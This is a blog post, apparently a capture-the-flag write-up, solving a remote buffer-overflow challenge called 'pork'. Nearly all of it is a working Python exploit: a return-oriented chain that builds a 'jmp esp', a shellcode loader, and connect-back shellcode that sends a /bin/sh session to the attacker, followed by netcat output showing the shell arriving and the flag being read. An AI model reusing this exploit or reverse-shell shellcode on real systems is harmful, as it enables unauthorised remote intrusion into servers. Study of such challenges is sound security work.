Blog | Tag | Local | Media | Guest | Login  RSS

Category : Pwnables


pork-8c2fdf93e211c7358e0192a24bc951843da672b1


Summary : simple remote buffer overflow


Exploit

#!/usr/bin/python


from socket import *

from struct import pack


HOST = "184.72.73.160"

PORT = 33227


shellcode_loader= "\x33\xc0\x33\xd2\x31\xdb\x42\xc1\xe2\x08\x43\x43\x43\x43\x04\x03\x54\x59\x81\xc1\x10\xfe\xff\xff\xcd\x80\x3c\x02\x7e\x02\xff\xe1\x31\xc0\x40\x89\xc3\xcd\x80"

# read(4, buf, 0x100) -> buf();

SHELLCODE = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x00\x00\x00\x00\x66\x68\x7a\x69\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"


p = lambda x: pack("<L", x)


freespace = 0x0804ac12

format_string = 0x08049ab5    # string "%s"

sprintf_plt = 0x0804887C

pppr = 0x08048B3F


payload = ""

payload += "a"*0x400

payload += p(pppr)


payload += p(0xdeadbeef) # arg 1

payload += p(0x0804931b) # arg 2

payload += p(0x0804931b) # arg 3


payload += p(sprintf_plt)

payload += p(pppr)

payload += p(freespace)

payload += p(format_string)

payload += p(0x08048abb) # byte "\xff"


payload += p(sprintf_plt)

payload += p(pppr)

payload += p(freespace+1)

payload += p(format_string)

payload += p(0x08048c79) # byte "\xe4"


payload += p(freespace)         # byte "\xff\xe4" // jmp esp

payload += shellcode_loader


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

s.send("GET http://"+payload+".com/ HTTP/1.0\n")

raw_input(">")

s.send("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n")

raw_input(">")

s.send(SHELLCODE)

s.close() 



root@ubuntu:~/pork# ./exploit.py 

>

>


---------------------------------------------------------------------


root@ubuntu:~# nc -lv 31337

Connection from 184.72.73.160 port 31337 [tcp/*] accepted

id

uid=1001(pork) gid=1001(pork) groups=1001(pork)

ls

flag

pork

cat flag

http_m3ans_w3b_amirite


저작자 표시
신고

Name
Password
Homepage
비밀글 (Secret)

티스토리 툴바